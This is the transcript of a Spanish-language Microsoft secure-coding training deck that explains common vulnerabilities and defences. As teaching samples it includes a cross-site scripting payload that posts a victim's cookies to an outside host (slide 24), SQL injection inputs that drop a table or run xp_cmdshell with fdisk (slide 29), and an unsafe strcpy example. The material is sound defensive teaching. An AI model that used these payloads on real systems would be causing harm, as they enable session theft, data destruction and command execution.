La descarga está en progreso. Por favor, espere

La descarga está en progreso. Por favor, espere

Escritura de código seguro: defensa contra las amenazas

Presentaciones similares


Presentación del tema: "Escritura de código seguro: defensa contra las amenazas"— Transcripción de la presentación:

1 Escritura de código seguro: defensa contra las amenazas
MGB 2003 Escritura de código seguro: defensa contra las amenazas © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

2 Contenido La necesidad de disponer de código seguro
MGB 2003 Contenido La necesidad de disponer de código seguro Defensa contra problemas de memoria Defensa contra errores aritméticos Defensa contra secuencias de comandos entre sitios Defensa contra inyecciones de SQL Defensa contra problemas de canonización Defensa contra debilidades en la criptografía Defensa contra problemas de Unicode Defensa contra la denegación de servicio © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

3 Requisitos previos para la sesión
MGB 2003 Requisitos previos para la sesión Experiencia en desarrollo con Microsoft® Visual Basic®, Microsoft Visual C++® o C# Nivel 200 © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

4 Agenda La necesidad de disponer de código seguro
MGB 2003 Agenda La necesidad de disponer de código seguro Defensa contra problemas de memoria Defensa contra errores aritméticos Defensa contra secuencias de comandos entre sitios Defensa contra inyecciones de SQL Defensa contra problemas de canonización Defensa contra debilidades en la criptografía Defensa contra problemas de Unicode Defensa contra la denegación de servicio © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

5 La necesidad de disponer de código seguro
MGB 2003 La necesidad de disponer de código seguro “Hasta 1500 sitios Web pudieron haberse visto afectados por un ataque reciente” “Puerto de EE.UU. atacado por un pirata del Reino Unido” “La piratería cuesta más de 4300 puestos de trabajo y 850 millones de dólares en daños” “Varias corporaciones dicen que perdieron 10 millones de dólares en un único ataque” “El virus Sobig causó unos daños económicos de millones de dólares en todo el mundo” “Los ataques costarán a la economía mundial 1,6 trillones de dólares estadounidenses este año” © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

6 Escenarios de amenazas
MGB 2003 Escenarios de amenazas Empleados que se conectan a la red de la empresa Por cable, inalámbrica, acceso telefónico, VPN PCs de la empresa, sistemas propiedad de los usuarios Empleados que se conectan a otras redes Zonas activas de Internet, redes asociadas, banda ancha Asociados que se conectan a la red de la empresa Autenticación local frente a federada Invitados anónimos Nuevos escenarios y nuevas amenazas © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

7 No debe sorprenderle que se produzcan ataques
MGB 2003 Posibles atacantes Ladrones Timadores Vándalos Criminales Hackers No debe sorprenderle que se produzcan ataques © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

8 Tipos comunes de ataque
MGB 2003 Tipos comunes de ataque Ataques organizativos Hackers Ataques automatizados Datos restringidos DoS Infracciones accidentales de la seguridad Errores de conexión Denegación de servicio (DoS) Virus, caballos de Troya y gusanos © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

9 Agenda La necesidad de disponer de código seguro
MGB 2003 Agenda La necesidad de disponer de código seguro Defensa contra problemas de memoria Defensa contra errores aritméticos Defensa contra secuencias de comandos entre sitios Defensa contra inyecciones de SQL Defensa contra problemas de canonización Defensa contra debilidades en la criptografía Defensa contra problemas de Unicode Defensa contra la denegación de servicio © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

10 Qué es un desbordamiento de búfer
MGB 2003 Qué es un desbordamiento de búfer Ocurre cuando los datos superan el tamaño esperado y sobrescriben otros valores Se produce principalmente en código C/C++ no administrado Incluye cuatro tipos: Desbordamientos de búfer basados en pilas Desbordamiento de memoria dinámica Sobrescrituras de punteros de función y de V-table Sobrescrituras de manejadores de excepciones Lo pueden explotar los gusanos © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

11 Posibles resultados de los desbordamientos de búfer
MGB 2003 Posibles resultados de los desbordamientos de búfer Posible resultado Objetivo del pirata Infracción de acceso Realizar ataques de denegación de servicio contra los servidores Inestabilidad Interrumpir el funcionamiento normal del software Inyección de código Conseguir privilegios para su propio código Explotar datos empresariales fundamentales Realizar acciones destructivas © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

12 Ejemplo de desbordamiento de búfer basado en pila
MGB 2003 Ejemplo de desbordamiento de búfer basado en pila Parte superior de la pila void UnSafe (const char* uncheckedData) { int anotherLocalVariable; strcpy (localVariable, uncheckedData); } char localVariable[4]; char[4] int Dirección de retorno © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

13 Desbordamiento de memoria dinámica
MGB 2003 Desbordamiento de memoria dinámica Sobrescriben datos almacenados en la memoria dinámica (HEAP) Son más difíciles de explotar que un desbordamiento de búfer Datos Puntero strcpy xxxxxxx xxxxxxx © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

14 Defensa contra los desbordamientos de búfer (1 de 2)
MGB 2003 Defensa contra los desbordamientos de búfer (1 de 2) Tenga mucho cuidado cuando utilice: strcpy strncpy CopyMemory MultiByteToWideChar Use la opción de compilación /GS de Visual C++ para detectar desbordamientos de búfer Utilice strsafe.h para lograr un tratamiento más seguro de los búferes © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

15 Defensa contra los desbordamientos de búfer (2 de 2)
MGB 2003 Defensa contra los desbordamientos de búfer (2 de 2) Compruebe todos los índices de matrices Utilice clases de empaquetadores existentes para lograr un tratamiento seguro de las matrices Compruebe las longitudes de rutas de acceso a archivos mediante _MAX_PATH Utilice métodos reconocidos de procesamiento de rutas de acceso a archivos, como splitpath Utilice código administrado, pero preste atención a PInvoke y COM Interop © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

16 Agenda La necesidad de disponer de código seguro
MGB 2003 Agenda La necesidad de disponer de código seguro Defensa contra problemas de memoria Defensa contra errores aritméticos Defensa contra secuencias de comandos entre sitios Defensa contra inyecciones de SQL Defensa contra problemas de canonización Defensa contra debilidades en la criptografía Defensa contra problemas de Unicode Defensa contra la denegación de servicio © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

17 MGB 2003 Errores aritméticos Se producen cuando se superan las limitaciones de una variable Generan errores graves en tiempo de ejecución Suelen pasarse por alto y subestimarse Incluyen: Desbordamiento: valor demasiado grande para un tipo de datos Subdesbordamiento: valor demasiado pequeño para un tipo de datos © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

18 Defensa contra errores aritméticos
MGB 2003 Defensa contra errores aritméticos Sea consciente de las limitaciones de los tipos de datos elegidos Escriba código de defensa que compruebe si hay desbordamientos Considere la posibilidad de escribir funciones seguras reutilizables Considere la posibilidad de utilizar una clase plantilla segura (si está programando en C++) © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

19 MGB 2003 Demostración 1 Problemas de memoria y errores de tipo de datos Investigación de los desbordamientos de búfer Uso del modificador de compilación /GS Uso de STRSAFE.H Realización de cálculos aritméticos seguros © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

20 Agenda La necesidad de disponer de código seguro
MGB 2003 Agenda La necesidad de disponer de código seguro Defensa contra problemas de memoria Defensa contra errores aritméticos Defensa contra secuencias de comandos entre sitios Defensa contra inyecciones de SQL Defensa contra problemas de canonización Defensa contra debilidades en la criptografía Defensa contra problemas de Unicode Defensa contra la denegación de servicio © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

21 Qué son las secuencias de comandos entre sitios
MGB 2003 Qué son las secuencias de comandos entre sitios Una técnica que permite a los hackers: Ejecutar una secuencia de comandos malintencionada en el explorador Web de un cliente Insertar etiquetas <script>, <object>, <applet>, <form> y <embed> Robar información de la sesión Web y cookies de autenticación Tener acceso al equipo cliente Cualquier página Web que produzca código HTML que contenga datos proporcionados por el usuario es vulnerable © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

22 MGB 2003 Dos explotaciones frecuentes de las secuencias de comandos entre sitios Ataques a plataformas de correo electrónico y paneles de discusión basados en Web Uso de etiquetas <form> de HTML para redirigir información privada © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

23 Ataques basados en Form (1 de 2)
MGB 2003 Ataques basados en Form (1 de 2) Response.Write(“Bienvenido” & Request.QueryString(“UserName”)) © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

24 Ataques basados en Form (2 de 2)
MGB 2003 Ataques basados en Form (2 de 2) <a href=http://www.contoso.msft/welcome.asp?name= <FORM action=http://www. nwtraders.msft/data.asp method=post id=“idForm”> <INPUT name=“cookie” type=“hidden”> </FORM> <SCRIPT> idForm.cookie.value=document.cookie; idForm.submit(); </SCRIPT> > here </a> © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary. > here. © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.", "width": "800" }

25 MGB 2003 Demostración 2 Secuencias de comandos entre sitios Investigación de secuencias de comandos entre sitios © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

26 Defensa contra secuencias de comandos entre sitios
MGB 2003 Defensa contra secuencias de comandos entre sitios No: Confíe en los datos proporcionados por los usuarios Repita datos especificados por los usuarios basados en Web a menos que los haya validado Almacene información secreta en cookies Sí: Utilice la opción de cookie HttpOnly Utilice el atributo de seguridad <frame> Aproveche las características de ASP.NET © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

27 Agenda La necesidad de disponer de código seguro
MGB 2003 Agenda La necesidad de disponer de código seguro Defensa contra problemas de memoria Defensa contra errores aritméticos Defensa contra secuencias de comandos entre sitios Defensa contra inyecciones de SQL Defensa contra problemas de canonización Defensa contra debilidades en la criptografía Defensa contra problemas de Unicode Defensa contra la denegación de servicio © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

28 Qué es la inyección de SQL
MGB 2003 Qué es la inyección de SQL La inyección de SQL es: El proceso de agregar instrucciones SQL con los datos especificados por el usuario Los hackers la utilizan para: Examinar bases de datos Eludir la autorización Ejecutar varias instrucciones SQL Llamar a procedimientos almacenados integrados © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

29 Ejemplos de inyección de SQL
MGB 2003 Ejemplos de inyección de SQL sqlString = "SELECT HasShipped FROM" + " OrderDetail WHERE OrderID ='" + ID + "'"; Si la variable ID se lee directamente de un cuadro de texto de un formulario Web o de Windows, el usuario podría introducir cualquiera de los siguientes valores: ALFKI1001 ALFKI1001' or 1=1 -- ALFKI1001' DROP TABLE OrderDetail -- ALFKI1001' exec xp_cmdshell('fdisk.exe') -- © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

30 MGB 2003 Demostración 3 Inyección de SQL Investigación de problemas por inyección de SQL Uso de consultas parametrizadas para defenderse contra la inyección de SQL © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

31 Defensa contra inyecciones de SQL
MGB 2003 Defensa contra inyecciones de SQL Limpie todos los datos especificados por los usuarios Considere que todos los datos de entrada son peligrosos mientras no se demuestre lo contrario Busque los datos válidos y rechace todos los demás Considere la posibilidad de utilizar expresiones regulares para quitar los caracteres no deseados Ejecute el código con el menor privilegio posible Nunca ejecute código como “sa” Restrinja el acceso a los procedimientos almacenados integrados Utilice procedimientos almacenados o consultas de SQL parametrizadas para tener acceso a los datos No muestre los errores de ODBC © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

32 Agenda La necesidad de disponer de código seguro
MGB 2003 Agenda La necesidad de disponer de código seguro Defensa contra problemas de memoria Defensa contra errores aritméticos Defensa contra secuencias de comandos entre sitios Defensa contra inyecciones de SQL Defensa contra problemas de canonización Defensa contra debilidades en la criptografía Defensa contra problemas de Unicode Defensa contra la denegación de servicio © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

33 Problemas de canonización
MGB 2003 Problemas de canonización Suele haber más de una forma de denominar algo Existen representaciones alternativas para: Nombres de archivo Direcciones URL Dispositivos (como impresoras) Los hackers pueden explotar código que toma decisiones basándose en nombres de archivo o direcciones URL © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

34 Problemas de canonización Ejemplo 1: nombres de archivo
MGB 2003 Problemas de canonización Ejemplo 1: nombres de archivo MiArchivoLargo.txt MiArchivoLargo.txt. MiArch~1.txt MiArchivoLargo.txt::$DATA © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

35 Problemas de canonización Ejemplo 2: representación de caracteres
MGB 2003 Problemas de canonización Ejemplo 2: representación de caracteres Hay muchas formas de representar caracteres en Internet Es igual que = © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

36 MGB 2003 Demostración 4 Problemas de canonización Investigación de las decisiones de seguridad basándose en nombres de archivo © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

37 Defensa contra problemas de canonización
MGB 2003 Defensa contra problemas de canonización Utilice la seguridad del sistema de archivos para restringir el acceso a datos privados No tome nunca una decisión basándose en un nombre Deshabilite la opción de rutas de acceso primarias de IIS © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

38 Agenda La necesidad de disponer de código seguro
MGB 2003 Agenda La necesidad de disponer de código seguro Defensa contra problemas de memoria Defensa contra errores aritméticos Defensa contra secuencias de comandos entre sitios Defensa contra inyecciones de SQL Defensa contra problemas de canonización Defensa contra debilidades en la criptografía Defensa contra problemas de Unicode Defensa contra la denegación de servicio © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

39 Debilidades en la criptografía
MGB 2003 Debilidades en la criptografía Uso inapropiado de algoritmos Creación de los suyos propios Uso de algoritmos débiles Aplicación incorrecta No mantener las claves seguras Almacenamiento inseguro Uso prolongado El factor humano Clave Texto sin cifrar Texto cifrado Algoritmo Necesito tres elementos de los anteriores para descifrar sus datos © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

40 Defensa contra debilidades en la criptografía
MGB 2003 Defensa contra debilidades en la criptografía Recicle las claves periódicamente Utilice ACL para restringir el acceso a las claves Almacene las claves en un dispositivo externo Utilice SACL para supervisar las actividades Utilice claves largas para ofrecer mayor seguridad Utilice DPAPI para simplificar la administración de claves, si es posible No implemente sus propias rutinas criptográficas © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

41 Agenda La necesidad de disponer de código seguro
MGB 2003 Agenda La necesidad de disponer de código seguro Defensa contra problemas de memoria Defensa contra errores aritméticos Defensa contra secuencias de comandos entre sitios Defensa contra inyecciones de SQL Defensa contra problemas de canonización Defensa contra debilidades en la criptografía Defensa contra problemas de Unicode Defensa contra la denegación de servicio © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

42 Problemas de Unicode Errores frecuentes Resultados
MGB 2003 Problemas de Unicode Errores frecuentes Tratamiento de un carácter Unicode como un único byte Cálculo incorrecto del tamaño de búfer necesario Uso incorrecto de MultiByteToWideChar Validación de los datos antes de la conversión, pero no después Resultados Desbordamientos de búfer Algunas secuencias de caracteres posiblemente peligrosas pueden entrar en sus rutinas de validación © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

43 Defensa contra problemas de Unicode
MGB 2003 Defensa contra problemas de Unicode Calcular tamaños de búfer mediante sizeof (WCHAR) Conocer los estándares GB18030  (4 bytes por carácter) Convertir de Unicode a ASCII y después validar Utilizar IsNLSDefinedString durante la validación Utilizar MultiByteToWideChar correctamente para proporcionar un búfer suficiente © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

44 MGB 2003 Demostración 5 Problemas de Unicode Investigación de problemas de Unicode © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

45 Agenda La necesidad de disponer de código seguro
MGB 2003 Agenda La necesidad de disponer de código seguro Defensa contra problemas de memoria Defensa contra errores aritméticos Defensa contra secuencias de comandos entre sitios Defensa contra inyecciones de SQL Defensa contra problemas de canonización Defensa contra debilidades en la criptografía Defensa contra problemas de Unicode Defensa contra la denegación de servicio © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

46 Ataques de denegación de servicio
MGB 2003 Ataques de denegación de servicio Insuficiencia de CPU Insuficiencia de memoria Insuficiencia de recursos Insuficiencia de red © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

47 Defensa contra los ataques de denegación de servicio
MGB 2003 Defensa contra los ataques de denegación de servicio Considere la seguridad como una característica de diseño No confíe en los datos proporcionados por los usuarios Aplique inteligencia en caso de error Pruebe la seguridad © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

48 Resumen de la sesión La necesidad de disponer de código seguro
MGB 2003 Resumen de la sesión La necesidad de disponer de código seguro Defensa contra problemas de memoria Defensa contra errores aritméticos Defensa contra secuencias de comandos entre sitios Defensa contra inyecciones de SQL Defensa contra problemas de canonización Defensa contra debilidades en la criptografía Defensa contra problemas de Unicode Defensa contra la denegación de servicio © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

49 Pasos siguientes Mantenerse informado sobre la seguridad
MGB 2003 Pasos siguientes Mantenerse informado sobre la seguridad Suscribirse a boletines de seguridad: (este sitio está en inglés) Obtener las directrices de seguridad de Microsoft más recientes: (este sitio está en inglés) Obtener información de seguridad adicional Buscar seminarios de aprendizaje en línea y presenciales: (este sitio está en inglés) Buscar un CTEC local que ofrezca cursos prácticos: (este sitio está en inglés) © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

50 Para obtener más información
MGB 2003 Para obtener más información Sitio de seguridad de Microsoft (todos los usuarios) (este sitio está en inglés) Sitio de seguridad de MSDN (desarrolladores) (este sitio está en inglés) Sitio de seguridad de TechNet (profesionales de IT) © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

51 Preguntas y respuestas
MGB 2003 Preguntas y respuestas © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

52 MGB 2003 © 2004 Microsoft Corporation. All rights reserved.
This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.


Descargar ppt "Escritura de código seguro: defensa contra las amenazas"

Presentaciones similares


Anuncios Google